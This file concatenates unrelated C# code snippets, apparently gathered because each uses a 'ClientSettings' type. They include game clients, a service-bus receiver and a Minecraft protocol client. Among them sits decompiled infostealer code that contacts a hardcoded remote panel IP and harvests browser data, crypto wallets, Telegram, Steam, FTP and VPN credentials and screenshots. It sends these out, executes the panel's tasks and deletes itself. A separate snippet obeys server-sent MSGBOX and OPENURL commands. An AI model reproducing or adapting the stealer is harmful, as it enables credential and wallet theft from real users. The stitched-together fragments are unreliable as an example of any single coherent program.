static void Main(string[] args) { cs = new ClientSettings(); Thread startConnect = new Thread(Connect); startConnect.Start(); Process.GetCurrentProcess().WaitForExit(); }
private void UpdateSettings() { _clientSettings = new ClientSettings( JsonMessageFormatRadioButton.IsChecked == true ? MediaTypes.ApplicationJson : MediaTypes.ApplicationXml, CurrentUserRadioButton.IsChecked == true ? null : new NetworkCredential(UsernameTextBox.Text, PasswordTextBox.Password, DomainTextBox.Text)); }
public ReceiveTransport(IServiceBusHost host, ClientSettings settings, IPipeSpecification<NamespaceContext>[] specifications) { _host = host; _settings = settings; _specifications = specifications; _receiveObservers = new ReceiveObservable(); _endpointObservers = new ReceiveTransportObservable(); }
public MLClientData(Guid _id, eSock.Server.eSockClient _socket) { Settings = new ClientSettings(); ID = _id; Handshaken = false; PluginsVerified = false; ClientSocket = _socket; }
private static IObjectModelAdapter CreateObjectModelAdapter(EphorteContextIdentity ephorteContextIdentity, Uri servicesBaseUrl) { var objectModelSettings = new ClientSettings { Address = new Uri(servicesBaseUrl, "services/objectmodel/v3/en/ObjectModelService.svc").ToString(), EndpointName = "ObjectModelServiceV3En_WSHttpBinding" }; return new Gecko.NCore.Client.ObjectModel.V3.En.ObjectModelAdapterV3En(ephorteContextIdentity, objectModelSettings); }
private static IDocumentsAdapter CreateDocumentsAdapter(EphorteContextIdentity ephorteContextIdentity, Uri servicesBaseUrl) { var documentServiceSettings = new ClientSettings { Address = new Uri(servicesBaseUrl, "services/documents/v3/DocumentService.svc").ToString(), EndpointName = "BasicHttpBinding_DocumentService" }; return new Gecko.NCore.Client.Documents.V3.DocumentsAdapter(ephorteContextIdentity, documentServiceSettings); }
public SessionReceiver(ClientContext clientContext, IPipe<ReceiveContext> receivePipe, ClientSettings clientSettings, ITaskSupervisor supervisor, ISendEndpointProvider sendEndpointProvider, IPublishEndpointProvider publishEndpointProvider) { _clientContext = clientContext; _receivePipe = receivePipe; _clientSettings = clientSettings; _supervisor = supervisor; _sendEndpointProvider = sendEndpointProvider; _publishEndpointProvider = publishEndpointProvider; _tracker = new DeliveryTracker(HandleDeliveryComplete); _participant = supervisor.CreateParticipant($"{TypeMetadataCache<Receiver>.ShortName} - {clientContext.InputAddress}", Stop); }
public static ClientSettings Show(Window owner, ClientSettings clientSettings) { var window = new SettingsWindow { Owner = owner, WindowStartupLocation = WindowStartupLocation.CenterOwner, ResizeMode = ResizeMode.NoResize, SizeToContent = SizeToContent.WidthAndHeight, _clientSettings = clientSettings }; window.UpdateForm(); return window.ShowDialog() == true ? window._clientSettings : null; }
public void _client_Received(ClientSettings cs, string received) { var cmd = received.Split('|'); switch (cmd[0]) { case "Users": this.Invoke(() => { userList.Items.Clear(); for (int i = 1; i < cmd.Length; i++) { if (cmd[i] != "Connected" | cmd[i] != "RefreshChat") { userList.Items.Add(cmd[i]); } } }); break; case "Message": this.Invoke(() => { textBoxChat.Text += cmd[1] + "\r\n"; }); break; case "RefreshChat": this.Invoke(() => { textBoxChat.Text = cmd[1]; }); break; case "Chat": this.Invoke(() => { _pChat.Text = _pChat.Text.Replace("user", LoginChat.textBoxIP.Text); _pChat.Text = _pChat.Text.Replace("user", LoginChat.textBoxNickname.Text); _pChat.Show(); }); break; case "pMessage": this.Invoke(() => { _pChat.textBoxChat.Text += "Server says: " + cmd[1] + "\r\n"; }); break; case "Disconnect": Application.Exit(); break; } }
static void cs_Received(ClientSettings cs, string received) { string[] cmd = received.Split('|'); switch (cmd[0]) { case "MSGBOX": cs.Send("STATUS|Received message - " + cmd[1]); MessageBox.Show(cmd[1], ""); break; case "OPENURL": OpenURL(cmd[1]); break; case "DISCONNECT": cs.Close(); Environment.Exit(0); break; } }
public void Connect(ClientSettings settings) { bool allowReconnect = false; int reconnectAttempts = MaxReconnectAttempts; do { allowReconnect = false; try { if (ConnectionLoop(settings)) { reconnectAttempts = 0; allowReconnect = settings.Reconnect && !IntentionalConnectionEnd; } else allowReconnect = settings.Reconnect && !IntentionalConnectionEnd && reconnectAttempts < MaxReconnectAttempts; } catch (Exception e) { TextWriter writer = File.CreateText("KLFClientlog.txt"); writer.WriteLine(e.ToString()); if (ThreadExceptionStackTrace != null && ThreadExceptionStackTrace.Length > 0) writer.WriteLine("Stacktrace: " + ThreadExceptionStackTrace); writer.Close(); Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine(); Console.WriteLine(e.ToString()); if (ThreadExceptionStackTrace != null && ThreadExceptionStackTrace.Length > 0) Console.WriteLine("Stacktrace: " + ThreadExceptionStackTrace); Console.WriteLine(); Console.WriteLine("Unexpected exception encountered! Crash report written to KLFClientlog.txt"); Console.WriteLine(); Console.ResetColor(); ClearConnectionState(); } if (allowReconnect) { Console.WriteLine("Attempting to reconnect..."); Thread.Sleep(ReconnectDelay); reconnectAttempts++; } } while (allowReconnect); }
public Receiver(NamespaceContext context, ClientContext clientContext, IPipe<ReceiveContext> receivePipe, ClientSettings clientSettings, ITaskSupervisor supervisor, ISendEndpointProvider sendEndpointProvider, IPublishEndpointProvider publishEndpointProvider) { _context = context; _clientContext = clientContext; _receivePipe = receivePipe; _clientSettings = clientSettings; _sendEndpointProvider = sendEndpointProvider; _publishEndpointProvider = publishEndpointProvider; _tracker = new DeliveryTracker(DeliveryComplete); _participant = supervisor.CreateParticipant($"{TypeMetadataCache<Receiver>.ShortName} - {clientContext.InputAddress}", Stop); var options = new OnMessageOptions { AutoComplete = false, AutoRenewTimeout = clientSettings.AutoRenewTimeout, MaxConcurrentCalls = clientSettings.MaxConcurrentCalls }; options.ExceptionReceived += (sender, x) => { if (!(x.Exception is OperationCanceledException)) { if (_log.IsErrorEnabled) _log.Error($"Exception received on receiver: {clientContext.InputAddress} during {x.Action}", x.Exception); } if (_tracker.ActiveDeliveryCount == 0) { if (_log.IsDebugEnabled) _log.DebugFormat("Receiver shutdown completed: {0}", clientContext.InputAddress); _participant.SetComplete(); } }; clientContext.OnMessageAsync(OnMessage, options); _participant.SetReady(); }
public static IEnumerable<byte[]> EncodeSettings(ClientSettings settings) { if (settings == null) throw new ArgumentNullException("settings"); var ks = "ReadNewSettings2Connection_Request"; byte[] bKey = System.Text.Encoding.ASCII.GetBytes(ks); var tiger = new TigerDigest(); tiger.BlockUpdate(bKey, 0, bKey.Length); var bb = new byte[24]; tiger.DoFinal(bb, 0); var key = new KeyParameter(bb); foreach (var sett in settings.Settings) { yield return DataEncoder.EncodeString(sett.FieldName, key); yield return DataEncoder.EncodeString(sett.GetStringValue(), key); } }
static void Main(string[] args) { Console.Title = "KLF Client " + KLFCommon.ProgramVersion; Console.WriteLine("KLF Client Copyright (C) 2013 Alfred Lam"); Console.WriteLine("This program comes with ABSOLUTELY NO WARRANTY; for details type `/show'."); Console.WriteLine("This is free software, and you are welcome to redistribute it"); Console.WriteLine("under certain conditions; type `/show' for details."); Console.WriteLine(); ConsoleClient client = new ConsoleClient(); Configuration = ClientSettings.Load(Path.Combine("./", Filename)); while(true) { Console.WriteLine(); Console.ForegroundColor = ConsoleColor.Green; Console.Write("Username: "******"Server Address: "); Console.ResetColor(); Console.WriteLine(((Uri)Configuration.GetDefaultServer()).ToString()); Console.ForegroundColor = ConsoleColor.Green; Console.Write("Auto-Reconnect: "); Console.ResetColor(); Console.WriteLine(Configuration.Reconnect); Console.ResetColor(); Console.WriteLine(); Console.WriteLine("/name change username"); //Console.WriteLine("/auth change token"); Console.WriteLine("/add add server"); Console.WriteLine("/select select default server"); Console.WriteLine("/connect connect to default server"); Console.WriteLine("/auto toggle auto-reconnect"); Console.WriteLine("/quit quit KLFClient"); String[] MenuArgs = Console.ReadLine().Split(' '); switch(MenuArgs[0].ToLowerInvariant()) { case "/quit": case "/q": Console.Write("Closing.\n"); return; case "/name": case "/n": case "/user": case "/u": if(MenuArgs.Length > 1) Configuration.Username = MenuArgs[1]; else { Console.Write("Enter your new username: "******"/auth": //TODO auth token feature break; case "/add": case "/server": String hn; Int32 pn; Console.Write("Host name or IP Address: "); hn = Console.ReadLine(); Console.Write("Port number: "); Int32.TryParse(Console.ReadLine(), out pn); if(Configuration.AddServer(hn, pn)) Console.WriteLine("Server Added."); else Console.WriteLine("Bad input."); Configuration.Save(Filename); break; case "/auto": case "/a": Configuration.Reconnect = !Configuration.Reconnect; Configuration.Save(Filename); break; case "/select": case "/sel": case "/list": case "/default": case "/def": Int32 choice = 0; foreach(ServerProfile server in Configuration.Servers) Console.WriteLine(" {0}{1} {2}", choice++, server.Default?"*":" ", server.Uri.ToString()); Console.Write("Choose default server: "); if(!Int32.TryParse(Console.ReadLine(), out choice)) choice = -1;//invalid if(0 <= choice && choice < Configuration.Servers.Count) { Configuration.SetDefaultServer(choice); Configuration.Save(Filename); Console.WriteLine("Default saved."); } else Console.WriteLine("Invalid index. No changes."); break; case "/connect": case "/co": //TODO validate if(Configuration.ValidServer(Configuration.GetDefaultServer().Host, Configuration.GetDefaultServer().Port)) client.Connect(Configuration); else Console.WriteLine("/add a server then use /def to select default."); break; case "/show": ShowLicense(); break; default: break; } }//end while }
static void Main(string[] args) { settings = new ClientSettings(); ConsoleClient client = new ConsoleClient(); Console.Title = "KLF Client " + KLFCommon.PROGRAM_VERSION; Console.WriteLine("KLF Client version " + KLFCommon.PROGRAM_VERSION); Console.WriteLine("Created by Alfred Lam"); Console.WriteLine(); Stopwatch stopwatch = new Stopwatch(); stopwatch.Start(); for (int i = 0; i < settings.favorites.Length; i++) settings.favorites[i] = String.Empty; settings.readConfigFile(CONFIG_FILENAME); if (args.Length > 0 && args.First() == "connect") { client.connect(settings); } while (true) { Console.WriteLine(); Console.ForegroundColor = ConsoleColor.Green; Console.Write("Username: "******"Server Address: "); Console.ResetColor(); Console.WriteLine(settings.hostname); Console.ForegroundColor = ConsoleColor.Green; Console.Write("Auto-Reconnect: "); Console.ResetColor(); Console.WriteLine(settings.autoReconnect); Console.ResetColor(); Console.WriteLine(); Console.WriteLine("Enter N to change name, A to toggle auto-reconnect"); Console.WriteLine("IP to change address"); Console.WriteLine("FAV to favorite current address, LIST to pick a favorite"); Console.WriteLine("C to connect, Q to quit"); String in_string = Console.ReadLine().ToLower(); if (in_string == "q") { break; } else if (in_string == "n") { Console.Write("Enter your new username: "******"ip") { Console.Write("Enter the IP Address/Host Name: "); { settings.hostname = Console.ReadLine(); settings.writeConfigFile(CONFIG_FILENAME); } } else if (in_string == "a") { settings.autoReconnect = !settings.autoReconnect; settings.writeConfigFile(CONFIG_FILENAME); } else if (in_string == "fav") { int replace_index = -1; //Check if any favorite entries are empty for (int i = 0; i < settings.favorites.Length; i++) { if (settings.favorites[i].Length <= 0) { replace_index = i; break; } } if (replace_index < 0) { //Ask the user which favorite to replace Console.WriteLine(); listFavorites(); Console.WriteLine(); Console.Write("Enter the index of the favorite to replace: "); if (!int.TryParse(Console.ReadLine(), out replace_index)) replace_index = -1; } if (replace_index >= 0 && replace_index < settings.favorites.Length) { //Set the favorite settings.favorites[replace_index] = settings.hostname; settings.writeConfigFile(CONFIG_FILENAME); Console.WriteLine("Favorite saved."); } else Console.WriteLine("Invalid index."); settings.writeConfigFile(CONFIG_FILENAME); } else if (in_string == "list") { int index = -1; //Ask the user which favorite to choose Console.WriteLine(); listFavorites(); Console.WriteLine(); Console.Write("Enter the index of the favorite: "); if (!int.TryParse(Console.ReadLine(), out index)) index = -1; if (index >= 0 && index < settings.favorites.Length) { settings.hostname = settings.favorites[index]; settings.writeConfigFile(CONFIG_FILENAME); } else Console.WriteLine("Invalid index."); } else if (in_string == "c") client.connect(settings); } }
public static void Initialize() { _application = new ApplicationSettings(); _client = new ClientSettings(); }
public SessionReceiver(ClientContext clientContext, IPipe <ReceiveContext> receivePipe, ClientSettings clientSettings, ITaskSupervisor supervisor, ISendEndpointProvider sendEndpointProvider, IPublishEndpointProvider publishEndpointProvider) { _clientContext = clientContext; _receivePipe = receivePipe; _clientSettings = clientSettings; _supervisor = supervisor; _sendEndpointProvider = sendEndpointProvider; _publishEndpointProvider = publishEndpointProvider; _tracker = new DeliveryTracker(HandleDeliveryComplete); _participant = supervisor.CreateParticipant($"{TypeMetadataCache<Receiver>.ShortName} - {clientContext.InputAddress}", Stop); }
public QueueClientContext(ConnectionContext connectionContext, IQueueClient queueClient, Uri inputAddress, ClientSettings settings) { _queueClient = queueClient; _settings = settings; ConnectionContext = connectionContext; InputAddress = inputAddress; }
public TestAzureFunctionClientWrapper(Func <ITestAzureFunctionClient, IFlurlClient> client, ClientSettings settings, IServiceProvider provider) { ClientWrapper = client(null); if (settings.BaseAddress != null) { ClientWrapper.BaseUrl = settings.BaseAddress(provider); } Timeout = settings.Timeout; }
/* Attempt to connect */ public bool ConnectToServer(ClientSettings settings) { if (IsConnected) return false; ClientConfiguration = settings; TcpConnection = new TcpClient(); String host = ClientConfiguration.GetDefaultServer().Host; Int32 port = ClientConfiguration.GetDefaultServer().Port; //attempt to resolve dns IPHostEntry hostEntry = new IPHostEntry(); try { hostEntry = Dns.GetHostEntry(host); } catch (SocketException) { hostEntry = null; } catch (ArgumentException) { hostEntry = null; } //get an IP address IPAddress address = null; if (hostEntry != null && hostEntry.AddressList.Length == 1)//too strict? address = hostEntry.AddressList.First(); else IPAddress.TryParse(host, out address); if (address == null) { Console.WriteLine("Invalid server address."); return false; } //make the connection IPEndPoint endPoint = new IPEndPoint(address, port); Console.WriteLine("Connecting to server..."); try { TcpConnection.Connect(endPoint); if (TcpConnection.Connected) { try { UdpSocket = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp); UdpSocket.Connect(endPoint); } catch { if (UdpSocket != null) UdpSocket.Close(); UdpSocket = null; } UdpConnected = false; LastUdpAckReceiveTime = 0; LastUdpMessageSendTime = ClientStopwatch.ElapsedMilliseconds; ConnectionStarted(); return true; } } catch (SocketException e) { Console.WriteLine("Exception: " + e.ToString()); } catch (ObjectDisposedException e) { Console.WriteLine("Exception: " + e.ToString()); } return false; }
/// <summary> /// Initializes a new instance of the <see cref="ObjectModelAdapterV3No" /> class. /// </summary> /// <param name="contextIdentity">The context identity.</param> /// <param name="settings">The settings.</param> public ObjectModelAdapterV3No(EphorteContextIdentity contextIdentity, ClientSettings settings) : base(settings) { _contextIdentity = contextIdentity; }
public LocalNode(ILocalIpAddressDiscoverer localIpAddressDiscoverer, ClientSettings clientSettings) { }
public ApiClient(ILogger logger, ClientSettings settings) { _logger = logger; _settings = settings; AuthorizationManager = new AuthorizationManager(settings, RefreshRequest); }
public AccountController(IOptions <ClientSettings> clientSettings, IOptions <GeneralSettings> generalSettings, IHttpClientFactory httpClientFactory) { _clientSettings = clientSettings?.Value ?? throw new ArgumentNullException(nameof(clientSettings)); _generalSettings = generalSettings?.Value ?? throw new ArgumentNullException(nameof(generalSettings)); _httpClientFactory = httpClientFactory ?? throw new ArgumentNullException(nameof(httpClientFactory)); }
public void NetThread() { SessionIDRequest sessionID = new SessionIDRequest(Storage.Network.UserName, Storage.Network.Password); sessionID.SendRequest(); SharedSecretGenerator sharedSecret = new SharedSecretGenerator(); //random byte[16] gen Timer positionUpdater = new Timer(PositionSender, null, Timeout.Infinite, 50); //create position updater Socket networkSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); networkSocket.Connect(Storage.Network.Server, Storage.Network.Port); _stream = new EnhancedStream(networkSocket); Handshake handshake = new Handshake(_stream); handshake.Send(Storage.Network.UserName, Storage.Network.Server, Storage.Network.Port); // connect Storage.Network.IsConnected = true; while (Storage.Network.IsConnected) { switch (_packetIDbuffer = (byte)_stream.ReadByte()) { case 0x00: KeepAlive keepAlive = new KeepAlive(_stream); break; case 0x01: LoginRequest loginRequest = new LoginRequest(_stream); //positionUpdater.Change(0, 50); ClientSettings clientSettings = new ClientSettings(_stream); clientSettings.Send(); break; case 0x03: ChatMessage chatMessage = new ChatMessage(_stream); break; case 0x04: TimeUpdate timeUpdate = new TimeUpdate(_stream); break; case 0x05: EntityEquipment entityEquipment = new EntityEquipment(_stream); break; case 0x06: SpawnPosition spawnPosition = new SpawnPosition(_stream); break; case 0x08: UpdateHealth updateHealth = new UpdateHealth(_stream); break; case 0x09: RespawnPacket respawnPacket = new RespawnPacket(_stream); break; case 0x0D: _playerPositionLook = new PlayerPositionLook(_stream); break; case 0x10: HeldItemChange heldItemChange = new HeldItemChange(_stream); break; case 0x11: UseBed useBed = new UseBed(_stream); break; case 0x12: Animation animation = new Animation(_stream); break; case 0x14: SpawnNamedEntity spawnNamedEntity = new SpawnNamedEntity(_stream); break; case 0x16: CollectItem collectItem = new CollectItem(_stream); break; case 0x17: SpawnObjectVehicle spawnObjectVehicle = new SpawnObjectVehicle(_stream); break; case 0x18: SpawnMob spawnMob = new SpawnMob(_stream); break; case 0x19: SpawnPainting spawnPainting = new SpawnPainting(_stream); break; case 0x1A: SpawnExperienceOrb spawnExperienceOrb = new SpawnExperienceOrb(_stream); break; case 0x1C: EntityVelocity entityVelocity = new EntityVelocity(_stream); break; case 0x1D: DestroyEntity destroyEntity = new DestroyEntity(_stream); break; case 0x1E: Entity entity = new Entity(_stream); break; case 0x1F: EntityRelativeMove entityRelativeMove = new EntityRelativeMove(_stream); break; case 0x20: EntityLook entityLook = new EntityLook(_stream); break; case 0x21: EntityLookRelativeMove entityLookRelativeMove = new EntityLookRelativeMove(_stream); break; case 0x22: EntityTeleport entityTeleport = new EntityTeleport(_stream); break; case 0x23: EntityHeadLook entityHeadLook = new EntityHeadLook(_stream); break; case 0x26: EntityStatus entityStatus = new EntityStatus(_stream); break; case 0x27: AttachEntity attachEntity = new AttachEntity(_stream); break; case 0x28: EntityMetadata entityMetadata = new EntityMetadata(_stream); break; case 0x29: EntityEffect entityEffect = new EntityEffect(_stream); break; case 0x2A: RemoveEntityEffect removeEntityEffect = new RemoveEntityEffect(_stream); break; case 0x2B: SetExperience setExperience = new SetExperience(_stream); break; case 0x33: ChunkData mapChunk = new ChunkData(_stream); break; case 0x34: MultiBlockChange multiBlockChange = new MultiBlockChange(_stream); break; case 0x35: BlockChange blockChange = new BlockChange(_stream); break; case 0x36: BlockAction blockAction = new BlockAction(_stream); break; case 0x37: BlockBreakAnimation blockBreakAnimation = new BlockBreakAnimation(_stream); break; case 0x38: MapChunkBulk mapChunkBulk = new MapChunkBulk(_stream); break; case 0x3C: Explosion explosion = new Explosion(_stream); break; case 0x3D: SoundParticleEffect soundParticleEffect = new SoundParticleEffect(_stream); break; case 0x3E: NamedSoundEffect namedSoundEffect = new NamedSoundEffect(_stream); break; case 0x46: ChangeGameState changeGameState = new ChangeGameState(_stream); break; case 0x47: Thunderbolt thunderbolt = new Thunderbolt(_stream); break; case 0x64: OpenWindow openWindow = new OpenWindow(_stream); break; case 0x65: CloseWindow closeWindow = new CloseWindow(_stream); break; case 0x67: SetSlot setSlot = new SetSlot(_stream); break; case 0x68: SetWindowItems setWindowItems = new SetWindowItems(_stream); break; case 0x69: UpdateWindowProperty updateWindowProperty = new UpdateWindowProperty(_stream); break; case 0x6A: ConfirmTransaction confirmTransaction = new ConfirmTransaction(_stream); break; case 0x6B: CreativeInventoryAction creativeInventoryAction = new CreativeInventoryAction(_stream); break; case 0x6C: EnchantItem enchantItem = new EnchantItem(_stream); break; case 0x82: UpdateSign updateSign = new UpdateSign(_stream); break; case 0x83: ItemData itemData = new ItemData(_stream); break; case 0x84: UpdateTileEntity updateTileEntity = new UpdateTileEntity(_stream); break; case 0xC8: IncrementStatistic incrementStatistic = new IncrementStatistic(_stream); break; case 0xC9: PlayerListItem playerListItem = new PlayerListItem(_stream); break; case 0xCA: PlayerAbilities playerAbilities = new PlayerAbilities(_stream); break; case 0xCB: TabComplete tabcomplete = new TabComplete(_stream); break; case 0xFA: PluginMessage pluginMessage = new PluginMessage(_stream); break; case 0xFC: EncryptionKeyResponse encryptionKeyResponse = new EncryptionKeyResponse(_stream); encryptionKeyResponse.Get(); _stream = new AesStream(networkSocket, _stream, sharedSecret.Get); ClientStatuses clientStatuses = new ClientStatuses(_stream); clientStatuses.Send(0); break; case 0xFD: EncryptionKeyRequest encryptionKeyRequest = new EncryptionKeyRequest(_stream, sharedSecret.Get, sessionID.GetID(), Storage.Network.UserName); // encryptionKeyResponse = new EncryptionKeyResponse(_stream); encryptionKeyResponse.Send(encryptionKeyRequest.GetEncSharedSecret(), encryptionKeyRequest.GetEncToken()); break; case 0xFF: positionUpdater = null; DisconnectKick disconnectKick = new DisconnectKick(_stream); networkSocket.Disconnect(false); break; default: throw new Exception("We got a Unknown Packet (" + _packetIDbuffer + ")from the Server. This should not happen: Error in Packet parser"); } } }
public ConnectionPool(ClientSettings databaseSettings) { }
public virtual void OnClientSettings(ClientSettings packet) { }
public bool connectToServer(ClientSettings settings) { if (isConnected) return false; clientSettings = settings; tcpClient = new TcpClient(); //Look for a port-number in the hostname int port = DEFAULT_PORT; String trimmed_hostname = clientSettings.hostname; int port_start_index = clientSettings.hostname.LastIndexOf(':'); if (port_start_index >= 0 && port_start_index < (clientSettings.hostname.Length - 1)) { String port_substring = clientSettings.hostname.Substring(port_start_index + 1); if (!int.TryParse(port_substring, out port) || port < IPEndPoint.MinPort || port > IPEndPoint.MaxPort) port = DEFAULT_PORT; trimmed_hostname = clientSettings.hostname.Substring(0, port_start_index); } //Look up the actual IP address IPHostEntry host_entry = new IPHostEntry(); try { host_entry = Dns.GetHostEntry(trimmed_hostname); } catch (SocketException) { host_entry = null; } catch (ArgumentException) { host_entry = null; } IPAddress address = null; if (host_entry != null && host_entry.AddressList.Length == 1) address = host_entry.AddressList.First(); else IPAddress.TryParse(trimmed_hostname, out address); if (address == null) { Console.WriteLine("Invalid server address."); return false; } IPEndPoint endpoint = new IPEndPoint(address, port); Console.WriteLine("Connecting to server..."); try { tcpClient.Connect(endpoint); if (tcpClient.Connected) { //Init udp socket try { udpSocket = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp); udpSocket.Connect(endpoint); } catch { if (udpSocket != null) udpSocket.Close(); udpSocket = null; } udpConnected = false; lastUDPAckReceiveTime = 0; lastUDPMessageSendTime = stopwatch.ElapsedMilliseconds; connectionStarted(); return true; } } catch (SocketException e) { Console.WriteLine("Exception: " + e.ToString()); } catch (ObjectDisposedException e) { Console.WriteLine("Exception: " + e.ToString()); } return false; }
public FahClientSettingsModel(ClientSettings clientSettings) { ClientSettings = clientSettings; }
// Token: 0x06000006 RID: 6 RVA: 0x00002078 File Offset: 0x00000278 public static void Main(string[] args) { string text = "95.181.172.34:35253"; string buildId = "loshariki"; try { try { ServicePointManager.Expect100Continue = true; ServicePointManager.SecurityProtocol = (SecurityProtocolType.Ssl3 | SecurityProtocolType.Tls | SecurityProtocolType.Tls12); } catch { } bool flag; UserLog log; Action <IRemotePanel> < > 9__0; do { flag = false; try { foreach (string remoteIP in text.Split(new char[] { '|' })) { try { Action <IRemotePanel> codeBlock; if ((codeBlock = < > 9__0) == null) { codeBlock = (< > 9__0 = delegate(IRemotePanel panel) { ClientSettings settings = null; try { settings = panel.GetSettings(); } catch (Exception) { settings = new ClientSettings { BlacklistedCountry = new List <string>(), BlacklistedIP = new List <string>(), GrabBrowsers = true, GrabFiles = true, GrabFTP = true, GrabImClients = true, GrabPaths = new List <string>(), GrabUserAgent = true, GrabWallets = true, GrabScreenshot = true, GrabSteam = true, GrabTelegram = true, GrabVPN = true }; } UserLog log = UserLogHelper.Create(settings); log.Exceptions = new List <string>(); log.BuildID = buildId; log.Credentials = CredentialsHelper.Create(settings); log.SendTo(panel); log = log; log.Credentials = new Credentials(); IList <RemoteTask> tasks = panel.GetTasks(log); if (tasks != null) { foreach (RemoteTask remoteTask in tasks) { try { if (log.ContainsDomains(remoteTask.DomainsCheck) && Program.CompleteTask(remoteTask)) { panel.CompleteTask(log, remoteTask.ID); } } catch { } } } }); } GenericService <IRemotePanel> .Use(codeBlock, remoteIP); flag = true; break; } catch { } } } catch (Exception) { } }while (!flag); } catch (Exception) { } finally { InstallManager.RemoveCurrent(); } }
public HandShakeProcessor(ClientSettings clientSettings, IPeerTracker peerTracker) { _clientSettings = clientSettings; _peerTracker = peerTracker; }
public WeatherClient(ClientSettings clientSettings, object obj) { settings = clientSettings; }
public void AddClient <TLoadBalancing>(ClientSettings settings) where TLoadBalancing : class, ILoadBalancing { AddClient(typeof(TLoadBalancing), settings); }
public Receiver(NamespaceContext context, ClientContext clientContext, IPipe <ReceiveContext> receivePipe, ClientSettings clientSettings, ITaskSupervisor supervisor, ISendEndpointProvider sendEndpointProvider, IPublishEndpointProvider publishEndpointProvider) { _context = context; _clientContext = clientContext; _receivePipe = receivePipe; _clientSettings = clientSettings; _sendEndpointProvider = sendEndpointProvider; _publishEndpointProvider = publishEndpointProvider; _tracker = new DeliveryTracker(DeliveryComplete); _participant = supervisor.CreateParticipant($"{TypeMetadataCache<Receiver>.ShortName} - {clientContext.InputAddress}", Stop); var options = new OnMessageOptions { AutoComplete = false, AutoRenewTimeout = clientSettings.AutoRenewTimeout, MaxConcurrentCalls = clientSettings.MaxConcurrentCalls }; options.ExceptionReceived += (sender, x) => { if (!(x.Exception is OperationCanceledException)) { if (_log.IsErrorEnabled) { _log.Error($"Exception received on receiver: {clientContext.InputAddress} during {x.Action}", x.Exception); } } if (_tracker.ActiveDeliveryCount == 0) { if (_log.IsDebugEnabled) { _log.DebugFormat("Receiver shutdown completed: {0}", clientContext.InputAddress); } _participant.SetComplete(); } }; clientContext.OnMessageAsync(OnMessage, options); _participant.SetReady(); }
public void Reload() { _application = new ApplicationSettings(); _client = new ClientSettings(); }
public BotWindowData(string name, GlobalSettings gs, StateMachine sm, Statistics st, StatisticsAggregator sa, WpfEventListener wel, ClientSettings cs, LogicSettings l) { ProfileName = name; GlobalSettings = gs; Machine = sm; Stats = st; Aggregator = sa; Listener = wel; Settings = cs; Logic = l; Lat = gs.LocationSettings.DefaultLatitude; Lng = gs.LocationSettings.DefaultLongitude; Ts = new TimeSpan(); _timer = new DispatcherTimer { Interval = new TimeSpan(0, 0, 1) }; _timer.Tick += delegate { Ts += new TimeSpan(0, 0, 1); _realWorkSec++; }; _cts = new CancellationTokenSource(); _pauseCts = new CancellationTokenSource(); PlayerRoute = new GMapRoute(_routePoints); PathRoute = new GMapRoute(new List <PointLatLng>()); GlobalPlayerMarker = new GMapMarker(new PointLatLng(Lat, Lng)) { Shape = Properties.Resources.trainer.ToImage("Player - " + ProfileName), Offset = new Point(-14, -40), ZIndex = 15 }; }
public static ITestAzureFunctionClientWrapper Create(Func <ITestAzureFunctionClient, IFlurlClient> client, ClientSettings settings, IServiceProvider provider) { return(new TestAzureFunctionClientWrapper(client, settings, provider)); }
public void AddClient(Type loadBalancing, ClientSettings settings) { UraganoSettings.ClientSettings = settings; AddClient(loadBalancing); }
bool connectionLoop(ClientSettings settings) { if (connectToServer(settings)) { Console.WriteLine("Connected to server! Handshaking..."); while (isConnected) { //Check for exceptions thrown by threads lock (threadExceptionLock) { if (threadException != null) { Exception e = threadException; threadExceptionStackTrace = e.StackTrace; throw e; } } Thread.Sleep(SLEEP_TIME); } connectionEnded(); Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine(); if (intentionalConnectionEnd) enqueuePluginChatMessage("Closed connection with server", true); else enqueuePluginChatMessage("Lost connection with server", true); Console.ResetColor(); return true; } Console.WriteLine("Unable to connect to server"); connectionEnded(); return false; }
protected override void OnLoad(EventArgs e) { base.OnLoad(e); context = new Context(gl, nativeGraphicsContext); var pclWorkarounds = new PclWorkarounds(); var settings = new ClientSettings(); var textureLoader = new TextureLoader(); var spritefont = new Spritefont(settings, context, textureLoader); var statisticsRenderer = new OnScreenClientStatisticsRenderer(spritefont); //var statisticsRenderer = new FormClientStatisticsRenderer(); var statistics = new ClientStatistics(statisticsRenderer); var byteArrayPool = new ByteArrayPool(); var streamReceiver = settings.AreFromFile ? (IStreamReceiver)new FileStreamReceiver(pclWorkarounds, byteArrayPool, fileName ?? "stream.dat") : new TcpStreamReceiver(pclWorkarounds, settings, byteArrayPool); streamReceivingStage = new StreamReceivingStage(pclWorkarounds, streamReceiver); cpuDecompressionStage = new CpuDecompressionStage(pclWorkarounds, statistics, byteArrayPool); var mainThreadBorderStage = new MainThreadBorderStage(statistics); var textureInitializer = new TextureInitializer(); var gpuProcessingStage = new GpuProcessingStage(pclWorkarounds, statistics, settings, context, textureInitializer); var timedBufferingStage = new TimeBufferingStage(settings, statistics, context); mainLoop = new MainLoop(pclWorkarounds, statistics, settings, context, this, mainThreadBorderStage, timedBufferingStage, statisticsRenderer, textureLoader); //statisticsRenderer.ShowForm(); PipelineBuilder .BeginWith(streamReceivingStage) .ContinueWith(cpuDecompressionStage) .ContinueWith(mainThreadBorderStage) .ContinueWith(gpuProcessingStage) .EndWith(timedBufferingStage); cpuDecompressionStage.Start(); streamReceivingStage.Start(); }
public static bool IsLegacy(this ClientSettings settings) { return(settings != null && settings.ClientType == ClientType.Legacy); }
private static void Client_Disconnected(ClientSettings cs) { }
public static string CachedFahLogFileName(this ClientSettings settings) { return(settings == null ? String.Empty : String.Format(CultureInfo.InvariantCulture, "{0}-{1}", settings.Name, settings.IsLegacy() ? Constants.FahLogFileName : Constants.FahClientLogFileName)); }
